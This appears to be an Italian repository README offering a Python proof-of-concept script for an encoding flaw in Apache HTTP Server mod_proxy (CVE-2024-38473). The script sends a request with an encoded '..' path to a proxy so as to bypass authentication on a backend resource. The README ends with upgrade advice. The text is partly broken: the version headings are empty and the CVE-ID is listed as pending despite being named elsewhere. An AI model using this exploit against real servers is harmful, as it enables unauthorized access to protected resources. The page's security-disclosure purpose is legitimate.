
Script proof-of-concept che dimostrano una vulnerabilità di codifica in Apache HTTP Server mod_proxy (CVE-2024-38473) che permette il bypass dell'autenticazione tramite URL di richiesta appositamente modificati ai servizi backend.
Questo repository contiene script Proof of Concept (PoC) per dimostrare un problema di codifica nel modulo mod_proxy di Apache HTTP Server versioni 2.4.59 e precedenti. Questa vulnerabilità consente di inviare URL di richiesta con codifica errata ai servizi backend, bypassando potenzialmente l'autenticazione tramite richieste appositamente create.
CVE-ID: (In attesa)
Panoramica:
Un problema di codifica nel modulo mod_proxy di Apache HTTP Server versioni 2.4.59 e precedenti consente di inviare URL di richiesta con codifica errata ai servizi backend. Ciò può potenzialmente bypassare i meccanismi di autenticazione tramite richieste appositamente create. Si consiglia di aggiornare alla versione 2.4.60, che risolve questo problema.
Versioni interessate:
Versione corretta:
requests (pip install requests)Identificare il servizio backend:
http://backend-service.example.com.Creare una richiesta dannosa:
Eseguire lo script PoC:
mod_proxy_poc.py ed eseguirlo.Ecco uno script Python che dimostra la vulnerabilità:
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
Configurazione:
proxy_url: L'URL del server proxy.backend_service_path: Il percorso della risorsa protetta nel servizio backend.malicious_path: Il percorso con codifica errata per bypassare l'autenticazione.send_malicious_request:
Per mitigare questa vulnerabilità, aggiorna ad Apache HTTP Server versione 2.4.60, che risolve il problema di codifica nel modulo mod_proxy.
Mantenendo il software aggiornato e seguendo le migliori pratiche di sicurezza, è possibile prevenire vulnerabilità come questo problema di codifica nel modulo mod_proxy.